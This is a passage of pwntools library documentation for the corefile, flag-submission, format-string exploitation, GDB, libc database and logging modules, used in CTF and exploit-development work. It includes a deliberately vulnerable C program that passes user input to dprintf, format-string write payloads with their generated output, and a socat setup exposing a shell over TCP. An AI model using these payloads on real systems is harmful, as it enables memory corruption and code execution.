Core files can also be generated from running processes. This requires GDB to be installed, and can only be done with native processes. Getting a "complete" corefile requires GDB 7.11 or better.

```
>>> elf = ELF('/bin/bash')
>>> context.clear(binary=elf)
>>> io = process(elf.path, env={'HELLO': 'WORLD'})
>>> core = io.corefile
```

Data can also be extracted directly from the corefile.

```
>>> core.exe[elf.address:elf.address+4]
'\x7fELF'
>>> core.exe.data[:4]
'\x7fELF'
```

Various other mappings are available by name. On Linux, 32-bit Intel binaries should have a VDSO section. Since our ELF is statically linked, there is no libc which gets mapped.

```
>>> core.vdso.data[:4]
'\x7fELF'
>>> core.libc
Mapping('/lib/x86_64-linux-gnu/libc-...', ...)
```

The corefile also contains a *Corefile.stack* property, which gives us direct access to the stack contents. On Linux, the very top of the stack should contain two pointer-widths of NULL bytes, preceded by the NULL-terminated path to the executable (as passed via the first arg to `execve`).

```
>>> stack_end = core.exe.name
>>> stack_end += '\x00' * (1+8)
>>> core.stack.data.endswith(stack_end)
True
>>> len(core.stack.data) == core.stack.size
True
```

We can also directly access the environment variables and arguments.

```
>>> 'HELLO' in core.env
True
>>> core.getenv('HELLO')
'WORLD'
>>> core.argc
1
>>> core.argv[0] in core.stack
True
>>> core.string(core.argv[0]) == core.exe.path
True
```

Corefiles can also be pulled from remote machines via SSH!

```
>>> s = ssh('travis', 'example.pwnme')
>>> _ = s.set_working_directory()
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> path = s.upload(elf.path)
```

```
>>> _ =s.chmod('+x', path)
>>> io = s.process(path)
>>> io.wait()
-1
>>> io.corefile.signal == signal.SIGTRAP
True
```

Make sure fault_addr synthesis works for amd64 on ret.

```
>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('push 1234; ret')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.fault_addr
1234
```

Tests:

These are extra tests not meant to serve as examples.

Corefile.getenv() works correctly, even if the environment variable's value contains embedded '='.
Corefile is able to find the stack, even if the stack pointer doesn't point at the stack.

```
>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process(env={'FOO': 'BAR=BAZ'})
>>> io.wait()
>>> core = io.corefile
>>> core.getenv('FOO')
'BAR=BAZ'
>>> core.sp == 0
True
>>> core.sp in core.stack
False
```

Corefile gracefully handles the stack being filled with garbage, including argc / argv / envp being
overwritten.

```
>>> context.clear(arch='i386')
>>> assembly = '''
... LOOP:
...   mov dword ptr [esp], 0x41414141
...   pop eax
...   jmp LOOP
... '''
>>> elf = ELF.from_assembly(assembly)
>>> io = elf.process()
>>> io.wait()
>>> core = io.corefile
[!] End of the stack is corrupted, skipping stack parsing (got:␣
↪4141414141414141)
>>> core.argc, core.argv, core.env
(0, [], {})
>>> core.stack.data.endswith('AAAA')
True
>>> core.fault_addr == core.sp
True
```

debug (**a*, ***kw*)
    Open the corefile under a debugger.

getenv (*name*) → int
    Read an environment variable off the stack, and return its contents.

> **Parameters** **name** (`str`) – Name of the environment variable to read.
>
> **Returns** `str` – The contents of the environment variable.

    Example

```
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process(env={'GREETING': 'Hello!'})
>>> io.wait()
>>> io.corefile.getenv('GREETING')
'Hello!'
```

argc = None
    Number of arguments passed

> **Type** `int`

argv = None
    List of addresses of arguments on the stack.

> **Type** `list`

env = None
    Environment variables read from the stack. Keys are the environment variable name, values are the memory address of the variable.

    Note: Use with the `ELF.string()` method to extract them.

    Note: If FOO=BAR is in the environment, self.env['FOO'] is the address of the string "BARx00".

> **Type** `dict`

exe
    First mapping for the executable file.

> **Type** `Mapping`

fault_addr

    Address which generated the fault, for the signals SIGILL, SIGFPE, SIGSEGV, SIGBUS. This is only available in native core dumps created by the kernel. If the information is unavailable, this returns the address of the instruction pointer.

    Example

```
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef
True
```

> **Type** `int`

---

libc
:   First mapping for `libc.so`

    > **Type** *Mapping*

mappings = None
:   Dictionary of memory mappings from `address` to `name`

    > **Type** `dict`

maps
:   A printable string which is similar to /proc/xx/maps.

```
>>> print Corefile('./core').maps
8048000-8049000 r-xp 1000 /home/user/pwntools/crash
8049000-804a000 r--p 1000 /home/user/pwntools/crash
804a000-804b000 rw-p 1000 /home/user/pwntools/crash
f7528000-f7529000 rw-p 1000 None
f7529000-f76d1000 r-xp 1a8000 /lib/i386-linux-gnu/libc-2.19.so
f76d1000-f76d2000 ---p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d2000-f76d4000 r--p 2000 /lib/i386-linux-gnu/libc-2.19.so
f76d4000-f76d5000 rw-p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d5000-f76d8000 rw-p 3000 None
f76ef000-f76f1000 rw-p 2000 None
f76f1000-f76f2000 r-xp 1000 [vdso]
f76f2000-f7712000 r-xp 20000 /lib/i386-linux-gnu/ld-2.19.so
f7712000-f7713000 r--p 1000 /lib/i386-linux-gnu/ld-2.19.so
f7713000-f7714000 rw-p 1000 /lib/i386-linux-gnu/ld-2.19.so
fff3e000-fff61000 rw-p 23000 [stack]
```

    > **Type** `str`

pc
:   The program counter for the Corefile

    This is a cross-platform way to get e.g. `core.eip`, `core.rip`, etc.

    > **Type** `int`

pid
:   PID of the process which created the core dump.

    > **Type** `int`

ppid
:   Parent PID of the process which created the core dump.

    > **Type** `int`

prpsinfo = None
:   The NT_PRPSINFO object

prstatus = None
:   The NT_PRSTATUS object.

registers
:   All available registers in the coredump.

Example

```
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef;' + shellcraft.trap(), arch=
↪'i386')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.registers['eax'] == 0xdeadbeef
True
```

      Type `dict`

siginfo = None
    The NT_SIGINFO object

signal
    Signal which caused the core to be dumped.

    Example

```
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.signal == signal.SIGTRAP
True
```

```
>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.signal == signal.SIGSEGV
True
```

      Type `int`

sp
    The program counter for the Corefile

    This is a cross-platform way to get e.g. `core.esp`, `core.rsp`, etc.

      Type `int`

stack = None
    Address of the stack base

      Type `int`

vdso
    Mapping for the vdso section

      Type *Mapping*

vsyscall
    Mapping for the vsyscall section

      Type *Mapping*

vvar
    Mapping for the vvar section

> **Type** *Mapping*

class pwnlib.elf.corefile.**Mapping**(*core*, *name*, *start*, *stop*, *flags*)
>   Encapsulates information about a memory mapping in a *Corefile*.

>   **find**(*sub*, *start=None*, *end=None*)
>   Similar to str.find() but works on our address space

>   **rfind**(*sub*, *start=None*, *end=None*)
>   Similar to str.rfind() but works on our address space

>   **address**
>   Alias for *Mapping.start*.

>   > **Type** int

>   **data**
>   Memory of the mapping.

>   > **Type** str

>   **flags = None**
>   Mapping flags, using e.g. PROT_READ and so on.

>   > **Type** int

>   **name = None**
>   Name of the mapping, e.g. '/bin/bash' or '[vdso]'.

>   > **Type** str

>   **path**
>   Alias for *Mapping.name*

>   > **Type** str

>   **permstr**
>   Human-readable memory permission string, e.g. r-xp.

>   > **Type** str

>   **size = None**
>   Size of the mapping, in bytes

>   > **Type** int

>   **start = None**
>   First mapped byte in the mapping

>   > **Type** int

>   **stop = None**
>   First byte after the end of hte mapping

>   > **Type** int

2.12 `pwnlib.exception` — Pwnlib exceptions

exception pwnlib.exception.**PwnlibException**(*msg*, *reason=None*, *exit_code=None*)
>   Exception thrown by pwnlib.log.error().

>   Pwnlib functions that encounters unrecoverable errors should call the pwnlib.log.error() function instead of throwing this exception directly.

bar

2.13 `pwnlib.flag` — CTF Flag Management

pwnlib.flag.**submit_flag**(*flag, exploit='unnamed-exploit', target='unknown-target', server='flag-submission-server', port='31337', proto='tcp', team='unknown-team'*)

Submits a flag to the game server

> **Parameters**
>
> - **flag** (*str*) – The flag to submit.
> - **exploit** (*str*) – Exploit identifier, optional
> - **target** (*str*) – Target identifier, optional
> - **server** (*str*) – Flag server host name, optional
> - **port** (*int*) – Flag server port, optional
> - **proto** (*str*) –

Optional arguments are inferred from the environment, or omitted if none is set.

> **Returns** A string indicating the status of the key submission, or an error code.

Doctest:

```
>>> l = listen()
>>> _ = submit_flag('flag', server='localhost', port=l.lport)
>>> c = l.wait_for_connection()
>>> c.recvall().split()
['flag', 'unnamed-exploit', 'unknown-target', 'unknown-team']
```

2.14 `pwnlib.fmtstr` — Format string bug exploitation tools

Provide some tools to exploit format string bug

Examples

```
>>> program = tempfile.mktemp()
>>> source  = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
... {
...         char buff[1024];
...         void *ptr = NULL;
...         int *my_var = TARGET;
```

(continues on next page)

```
...          ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_
↪FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
...          if(ptr != MEMORY_ADDRESS)
...          {
...                  perror("mmap");
...                  return EXIT_FAILURE;
...          }
...          *my_var = 0x41414141;
...          write(1, &my_var, sizeof(int *));
...          scanf("%s", buff);
...          dprintf(2, buff);
...          write(1, my_var, sizeof(int));
...          return 0;
... }''')
>>> cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
>>> process(cmdline).wait_for_close()
>>> def exec_fmt(payload):
...     p = process(program)
...     p.sendline(payload)
...     return p.recvall()
...
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
>>> p = process(program, stderr=PIPE)
>>> addr = unpack(p.recv(4))
>>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
>>> p.sendline(payload)
>>> print hex(unpack(p.recv(4)))
0x1337babe
```

2.14.1 Example - Payload generation

```
# we want to do 3 writes
writes = {0x08041337:   0xbffffff,
          0x08041337+4: 0x1337babe,
          0x08041337+8: 0xdeadbeef}

# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)
```

2.14.2 Example - Automated exploitation

```
# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')
```

```python
# Function called in order to send a payload
def send_payload(payload):
        log.info("payload = %s" % repr(payload))
        p.sendline(payload)
        return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
```

class pwnlib.fmtstr.**FmtStr**(*execute_fmt*, *offset=None*, *padlen=0*, *numbwritten=0*)

Provides an automated format string exploitation.

It takes a function which is called every time the automated process want to communicate with the vulnerable process. this function takes a parameter with the payload that you have to send to the vulnerable process and must return the process returns.

If the *offset* parameter is not given, then try to find the right offset by leaking stack data.

> **Parameters**
>
> - **execute_fmt** (*function*) – function to call for communicate with the vulnerable process
> - **offset** (*int*) – the first formatter's offset you control
> - **padlen** (*int*) – size of the pad you want to add before the payload
> - **numbwritten** (*int*) – number of already written bytes

Instantiates an object which try to automating exploit the vulnerable process

> **Parameters**
>
> - **execute_fmt** (*function*) – function to call for communicate with the vulnerable process
> - **offset** (*int*) – the first formatter's offset you control
> - **padlen** (*int*) – size of the pad you want to add before the payload
> - **numbwritten** (*int*) – number of already written bytes

execute_writes() → None

Makes payload and send it to the vulnerable process

> **Returns** None

write(*addr*, *data*) → None

In order to tell : I want to write `data` at `addr`.

> **Parameters**
>
> - **addr** (*int*) – the address where you want to write
> - **data** (*int*) – the data that you want to write `addr`
>
> **Returns** None

Examples

```
>>> def send_fmt_payload(payload):
...     print repr(payload)
...
>>> f = FmtStr(send_fmt_payload, offset=5)
>>> f.write(0x08040506, 0x1337babe)
>>> f.execute_writes()
'\x06\x05\x04\x08\x07\x05\x04\x08\x08\x05\x04\x08\t\x05\x04\x08%174c%5$hhn
↪%252c%6$hhn%125c%7$hhn%220c%8$hhn'
```

pwnlib.fmtstr.**fmtstr_payload**(*offset*, *writes*, *numbwritten=0*, *write_size='byte'*) → str

Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from `context.bits`

> **Parameters**
>
> - **offset** (*int*) – the first formatter's offset you control
> - **writes** (*dict*) – dict with addr, value {addr: value, addr2:   value2}
> - **numbwritten** (*int*) – number of byte already written by the printf function
> - **write_size** (*str*) – must be `byte`, `short` or `int`. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
>
> **Returns**   The payload in order to do needed writes

Examples

```
>>> context.clear(arch = 'amd64')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00%322419374c%1$n
↪%3972547906c%2$n'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))

↪'\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\
↪%47774c%1$hn%22649c%2$hn%60617c%3$hn%4$hn'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))

↪'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\
↪%126c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn%237c%5$hhn%6$hhn%7$hhn%8$hhn'
>>> context.clear(arch = 'i386')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00%322419386c%1$n'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
'\x00\x00\x00\x00\x02\x00\x00\x00%47798c%1$hn%22649c%2$hn'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
'\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00%174c%1$hhn%252c
↪%2$hhn%125c%3$hhn%220c%4$hhn'
```

2.15 `pwnlib.gdb` — Working with GDB

During exploit development, it is frequently useful to debug the target binary under GDB.

Pwntools makes this easy-to-do with a handful of helper routines, designed to make your exploit-debug-update cycles much faster.

2.15.1 Useful Functions

- *attach()* - Attach to an existing process
- *debug()* - Start a new process under a debugger, stopped at the first instruction
- *debug_shellcode()* - Build a binary with the provided shellcode, and start it under a debugger

2.15.2 Debugging Tips

The *attach()* and *debug()* functions will likely be your bread and butter for debugging.

Both allow you to provide a script to pass to GDB when it is started, so that it can automatically set your breakpoints.

Attaching to Processes

To attach to an existing process, just use *attach()*. It is surprisingly versatile, and can attach to a *process* for simple binaries, or will automatically find the correct process to attach to for a forking server, if given a *remote* object.

Spawning New Processes

Attaching to processes with *attach()* is useful, but the state the process is in may vary. If you need to attach to a process very early, and debug it from the very first instruction (or even the start of main), you instead should use *debug()*.

When you use *debug()*, the return value is a *tube* object that you interact with exactly like normal.

2.15.3 Tips and Troubleshooting

`NOPTRACE` magic argument

It's quite cumbersom to comment and un-comment lines containing *attach*.

You can cause these lines to be a no-op by running your script with the NOPTRACE argument appended, or with PWNLIB_NOPTRACE=1 in the environment.

```
$ python exploit.py NOPTRACE
[+] Starting local process '/bin/bash': Done
[!] Skipping debug attach since context.noptrace==True
...
```

Kernel Yama ptrace_scope

The Linux kernel v3.4 introduced a security mechanism called ptrace_scope, which is intended to prevent processes from debugging eachother unless there is a direct parent-child relationship.

This causes some issues with the normal Pwntools workflow, since the process heirarchy looks like this:

```
python ---> target
        `--> gdb
```

Note that `python` is the parent of `target`, not `gdb`.

In order to avoid this being a problem, Pwntools uses the function `prctl(PR_SET_PTRACER,` `PR_SET_PTRACER_ANY)`. This disables Yama for any processes launched by Pwntools via *process* or via *ssh. process()*.

Older versions of Pwntools did not perform the `prctl` step, and required that the Yama security feature was disabled systemwide, which requires `root` access.

Member Documentation

pwnlib.gdb.**attach** (*target*, *gdbscript = None*, *exe = None*, *arch = None*, *ssh = None*) → None
    Start GDB in a new terminal and attach to *target*.

> **Parameters**
>
>> • **target** – The target to attach to.
>>
>> • **gdbscript** (`str` or `file`) – GDB script to run after attaching.
>>
>> • **exe** (`str`) – The path of the target binary.
>>
>> • **arch** (`str`) – Architechture of the target binary. If *exe* known GDB will detect the architechture automatically (if it is supported).
>>
>> • **gdb_args** (`list`) – List of additional arguments to pass to GDB.
>>
>> • **sysroot** (`str`) – Foreign-architecture sysroot, used for QEMU-emulated binaries and Android targets.
>
> **Returns** PID of the GDB process (or the window which it is running in).

Notes

The `target` argument is very robust, and can be any of the following:

int PID of a process

str Process name. The youngest process is selected.

tuple Host, port pair of a listening `gdbserver`

process Process to connect to

sock Connected socket. The executable on the other end of the connection is attached to. Can be any socket type, including *listen* or *remote*.

ssh_channel Remote process spawned via *ssh.process()*. This will use the GDB installed on the remote machine. If a password is required to connect, the `sshpass` program must be installed.

Examples

```
# Attach directly to pid 1234
gdb.attach(1234)
```

```python
# Attach to the youngest "bash" process
gdb.attach('bash')
```

```python
# Start a process
bash = process('bash')

# Attach the debugger
gdb.attach(bash, '''
set follow-fork-mode child
break execve
continue
''')

# Interact with the process
bash.sendline('whoami')
```

```python
# Start a forking server
server = process(['socat', 'tcp-listen:1234,fork,reuseaddr', 'exec:/bin/sh'])

# Connect to the server
io = remote('localhost', 1234)

# Connect the debugger to the server-spawned process
gdb.attach(io, '''
break exit
continue
''')

# Talk to the spawned 'sh'
io.sendline('exit')
```

```python
# Connect to the SSH server
shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0',
→port=2220)

# Start a process on the server
cat = shell.process(['cat'])

# Attach a debugger to it
gdb.attach(cat, '''
break exit
continue
''')

# Cause `cat` to exit
cat.close()
```

pwnlib.gdb.**binary**() → str

> **Returns** *str* – Path to the appropriate gdb binary to use.

Example

```python
>>> gdb.binary()
'/usr/bin/gdb'
```

pwnlib.gdb.**corefile**(*process*)

> Drops a core file for the process.

> > **Parameters process** – Process to dump

> > **Returns** `Core` – The generated core file

pwnlib.gdb.**debug**(*args*) → tube

> Launch a GDB server with the specified command line, and launches GDB to attach to it.

> > **Parameters**

> > > * **args** (`list`) – Arguments to the process, similar to *process*.

> > > * **gdbscript** (`str`) – GDB script to run.

> > > * **exe** (`str`) – Path to the executable on disk

> > > * **env** (`dict`) – Environment to start the binary in

> > > * **ssh** (`ssh`) – Remote ssh session to use to launch the process.

> > > * **sysroot** (`str`) – Foreign-architecture sysroot, used for QEMU-emulated binaries and Android targets.

> > **Returns** *process* or *ssh_channel* – A tube connected to the target process

Notes

The debugger is attached automatically, and you can debug everything from the very beginning. This requires that both `gdb` and `gdbserver` are installed on your machine.

When GDB opens via *debug()*, it will initially be stopped on the very first instruction of the dynamic linker (`ld.so`) for dynamically-linked binaries.

Only the target binary and the linker will be loaded in memory, so you cannot set breakpoints on shared library routines like `malloc` since `libc.so` has not even been loaded yet.

There are several ways to handle this:

1. **Set a breakpoint on the executable's entry point (generally, _start)**

   * This is only invoked after all of the required shared libraries are loaded.

   * You can generally get the address via the GDB command `info file`.

2. **Use pending breakpoints via `set breakpoint pending on`**

   * This has the side-effect of setting breakpoints for **every** function which matches the name. For `malloc`, this will generally set a breakpoint in the executable's PLT, in the linker's internal `malloc`, and eventaully in `libc`'s malloc.

3. **Wait for libraries to be loaded with `set stop-on-solib-event 1`**

   * There is no way to stop on any specific library being loaded, and sometimes multiple libraries are loaded and only a single breakpoint is issued.

   * Generally, you just add a few `continue` commands until things are set up the way you want it to be.

Examples

```python
# Create a new process, and stop it at 'main'
io = gdb.debug('bash', '''
break main
continue
''')

# Send a command to Bash
io.sendline("echo hello")

# Interact with the process
io.interactive()
```

```python
# Create a new process, and stop it at 'main'
io = gdb.debug('bash', '''
# Wait until we hit the main executable's entry point
break _start
continue

# Now set breakpoint on shared library routines
break malloc
break free
continue
''')

# Send a command to Bash
io.sendline("echo hello")

# Interact with the process
io.interactive()
```

You can use *debug()* to spawn new processes on remote machines as well, by using the ssh= keyword to pass in your *ssh* instance.

```python
# Connect to the SSH server
shell = ssh('passcode', 'pwnable.kr', 2222, password='guest')

# Start a process on the server
io = gdb.debug(['bash'],
               ssh=shell,
               gdbscript='''
break main
continue
''')

# Send a command to Bash
io.sendline("echo hello")

# Interact with the process
io.interactive()
```

pwnlib.gdb.**debug_assembly**(*asm*, *gdbscript=None*, *vma=None*) → tube

>   Creates an ELF file, and launches it under a debugger.

>   This is identical to debug_shellcode, except that any defined symbols are available in GDB, and it saves you the explicit call to asm().

Arguments: asm(str): Assembly code to debug gdbscript(str): Script to run in GDB vma(int): Base address to load the shellcode at ******kwargs: Override any *pwnlib.context.context* values.

Returns: *process*

Example:

```
assembly = shellcraft.echo("Hello world!
```

") io = gdb.debug_assembly(assembly) io.recvline() # 'Hello world!'

pwnlib.gdb.**debug_shellcode**(**a*, ***kw*)

Creates an ELF file, and launches it under a debugger.

Arguments: data(str): Assembled shellcode bytes gdbscript(str): Script to run in GDB vma(int): Base address to load the shellcode at ******kwargs: Override any *pwnlib.context.context* values.

Returns: *process*

Example:

```
assembly = shellcraft.echo("Hello world!
```

") shellcode = asm(assembly) io = gdb.debug_shellcode(shellcode) io.recvline() # 'Hello world!'

pwnlib.gdb.**find_module_addresses**(*binary*, *ssh=None*, *ulimit=False*)

Cheat to find modules by using GDB.

We can't use `/proc/$pid/map` since some servers forbid it. This breaks `info proc` in GDB, but `info sharedlibrary` still works. Additionally, `info sharedlibrary` works on FreeBSD, which may not have procfs enabled or accessible.

The output looks like this:

```
info proc mapping
process 13961
warning: unable to open /proc file '/proc/13961/maps'

info sharedlibrary
From        To          Syms Read    Shared Object Library
0xf7fdc820  0xf7ff505f  Yes (*)      /lib/ld-linux.so.2
0xf7fbb650  0xf7fc79f8  Yes          /lib32/libpthread.so.0
0xf7e26f10  0xf7f5b51c  Yes (*)      /lib32/libc.so.6
(*): Shared library is missing debugging information.
```

Note that the raw addresses provided by `info sharedlibrary` are actually the address of the `.text` segment, not the image base address.

This routine automates the entire process of:

1. Downloading the binaries from the remote server

2. Scraping GDB for the information

3. Loading each library into an ELF

4. Fixing up the base address vs. the `.text` segment address

Parameters

- **binary** (*str*) – Path to the binary on the remote server
- **ssh** (*pwnlib.tubes.tube*) – SSH connection through which to load the libraries. If left as `None`, will use a `pwnlib.tubes.process.process`.
- **ulimit** (*bool*) – Set to `True` to run "ulimit -s unlimited" before GDB.

Returns A list of pwnlib.elf.ELF objects, with correct base addresses.

Example:

```
>>> with context.local(log_level=9999):
...     shell = ssh(host='bandit.labs.overthewire.org',user='bandit0',password=
↪'bandit0', port=2220)
...     bash_libs = gdb.find_module_addresses('/bin/bash', shell)
>>> os.path.basename(bash_libs[0].path)
'libc.so.6'
>>> hex(bash_libs[0].symbols['system'])
'0x7ffff7634660'
```

pwnlib.gdb.**version**(*program='gdb'*)
　　Gets the current GDB version.

Note: Requires that GDB version meets the following format:

```
GNU gdb (GDB) 7.12
```

Returns *tuple* – A tuple containing the version numbers

Example

```
>>> (7,0) <= gdb.version() <= (8,0)
True
```

2.16 `pwnlib.libcdb` — Libc Database

Fetch a LIBC binary based on some heuristics.

pwnlib.libcdb.**get_build_id_offsets**()
　　Returns a list of file offsets where the Build ID should reside within an ELF file of the currentlys-elected architecture.

pwnlib.libcdb.**search_by_build_id**(*hex_encoded_id*)
　　Given a hex-encoded Build ID, attempt to download a matching libc from libcdb.

　　　　Parameters **hex_encoded_id** (*str*) – Hex-encoded Build ID (e.g. 'ABCDEF...') of the library

　　　　Returns Path to the downloaded library on disk, or `None`.

Examples

```
>>> filename = search_by_build_id('fe136e485814fee2268cf19e5c124ed0f73f4400')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_build_id('XX')
True
```

pwnlib.libcdb.**search_by_sha1**(*hex_encoded_id*)
    Given a hex-encoded sha1, attempt to download a matching libc from libcdb.

    > **Parameters hex_encoded_id**(*str*) – Hex-encoded Build ID (e.g. 'ABCDEF. . . ') of the library

    > **Returns** Path to the downloaded library on disk, or None.

Examples

```
>>> filename = search_by_sha1('34471e355a5e71400b9d65e78d2cd6ce7fc49de5')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_sha1('XX')
True
```

pwnlib.libcdb.**search_by_sha256**(*hex_encoded_id*)
    Given a hex-encoded sha256, attempt to download a matching libc from libcdb.

    > **Parameters hex_encoded_id**(*str*) – Hex-encoded Build ID (e.g. 'ABCDEF. . . ') of the library

    > **Returns** Path to the downloaded library on disk, or None.

Examples

```
>>> filename = search_by_sha256(
↪'5e877a8272da934812d2d1f9ee94f73c77c790cbc5d8251f5322389fc9667f21')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_sha256('XX')
True
```

pwnlib.libcdb.**search_by_md5**(*hex_encoded_id*)
    Given a hex-encoded md5sum, attempt to download a matching libc from libcdb.

    > **Parameters hex_encoded_id**(*str*) – Hex-encoded Build ID (e.g. 'ABCDEF. . . ') of the library

    > **Returns** Path to the downloaded library on disk, or None.

Examples

```
>>> filename = search_by_md5('7a71dafb87606f360043dcd638e411bd')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_build_id('XX')
True
```

2.17 `pwnlib.log` — Logging stuff

Logging module for printing status during an exploit, and internally within `pwntools`.

2.17.1 Exploit Developers

By using the standard `from pwn import *`, an object named `log` will be inserted into the global namespace. You can use this to print out status messages during exploitation.

For example,:

```
log.info('Hello, world!')
```

prints:

```
[*] Hello, world!
```

Additionally, there are some nifty mechanisms for performing status updates on a running job (e.g. when brute-forcing).:

```
p = log.progress('Working')
p.status('Reticulating splines')
time.sleep(1)
p.success('Got a shell!')
```

The verbosity of logging can be most easily controlled by setting `log_level` on the global `context` object.:

```
log.info("No you see me")
context.log_level = 'error'
log.info("Now you don't")
```

The purpose of this attribute is to control what gets printed to the screen, not what gets emitted. This means that you can put all logging events into a log file, while only wanting to see a small subset of them on your screen.

2.17.2 Pwnlib Developers

A module-specific logger can be imported into the module via:

```
from pwnlib.log import getLogger
log = getLogger(__name__)
```

This provides an easy way to filter logging programmatically or via a configuration file for debugging.

When using `progress`, you should use the `with` keyword to manage scoping, to ensure the spinner stops if an exception is thrown.

2.17.3 Technical details

Familiarity with the `logging` module is assumed.

A pwnlib root logger named 'pwnlib' is created and a custom handler and formatter is installed for it. The handler determines its logging level from `context.log_level`.

Ideally `context.log_level` should only affect which records will be emitted by the handler such that e.g. logging to a file will not be changed by it. But for performance reasons it is not feasible log everything in the normal case. In

particular there are tight loops inside `pwnlib.tubes.tube`, which we would like to be able to debug, but if we are not debugging them, they should not spit out messages (even to a log file). For this reason there are a few places inside pwnlib, that will not even emit a record without `context.log_level` being set to *logging.DEBUG* or below.

Log records created by `Progress` and `Logger` objects will set `'pwnlib_msgtype'` on the `extra` field to signal which kind of message was generated. This information is used by the formatter to prepend a symbol to the message, e.g. `'[+] '` in `'[+] got a shell!'`

This field is ignored when using the `logging` module's standard formatters.

All status updates (which are not dropped due to throttling) on progress loggers result in a log record being created. The `extra` field then carries a reference to the `Progress` logger as `'pwnlib_progress'`.

If the custom handler determines that `term.term_mode` is enabled, log records that have a `'pwnlib_progess'` in their `extra` field will not result in a message being emitted but rather an animated progress line (with a spinner!) being created. Note that other handlers will still see a meaningful log record.

The custom handler will only handle log records whith a level of at least `context.log_level`. Thus if e.g. the level for the `'pwnlib.tubes.ssh'` is set to `'DEBUG'` no additional output will show up unless `context.log_level` is also set to `'DEBUG'`. Other handlers will however see the extra log records generated by the `'pwnlib.tubes.ssh'` logger.

pwnlib.log.**install_default_handler**()
> Instantiates a *Handler* and *Formatter* and installs them for the `pwnlib` root logger. This function is automatically called from when importing *pwn*.

class pwnlib.log.**Progress**(*logger*, *msg*, *status*, *level*, *args*, *kwargs*)
> Progress logger used to generate log records associated with some running job. Instances can be used as context managers which will automatically declare the running job a success upon exit or a failure upon a thrown exception. After *success()* or *failure()* is called the status can no longer be updated.
>
> This class is intended for internal use. Progress loggers should be created using *Logger.progress()*.
>
> **status**(*status*, **args*, ***kwargs*)
> > Logs a status update for the running job.
> >
> > If the progress logger is animated the status line will be updated in place.
> >
> > Status updates are throttled at one update per 100ms.
>
> **success**(*status = 'Done'*, **args*, ***kwargs*)
> > Logs that the running job succeeded. No further status updates are allowed.
> >
> > If the Logger is animated, the animation is stopped.
>
> **failure**(*message*)
> > Logs that the running job failed. No further status updates are allowed.
> >
> > If the Logger is animated, the animation is stopped.

class pwnlib.log.**Logger**(*logger=None*)
> A class akin to the `logging.LoggerAdapter` class. All public methods defined on `logging.Logger` instances are defined on this class.
>
> Also adds some `pwnlib` flavor:
>
> - *progress()* (alias *waitfor()*)
> - *success()*
> - *failure()*
> - *indented()*
> - *info_once()*

- *warning_once()* (alias *warn_once()*)

Adds `pwnlib`-specific information for coloring, indentation and progress logging via log records `extra` field.

Loggers instantiated with `getLogger()` will be of this class.

progress(*message*, *status = ''*, **args*, *level = logging.INFO*, ***kwargs*) → Progress
  Creates a new progress logger which creates log records with log level *level*.

  Progress status can be updated using *Progress.status()* and stopped using *Progress.success()* or *Progress.failure()*.

  If *term.term_mode* is enabled the progress logger will be animated.

  The progress manager also functions as a context manager. Using context managers ensures that animations stop even if an exception is raised.

```python
with log.progress('Trying something...') as p:
    for i in range(10):
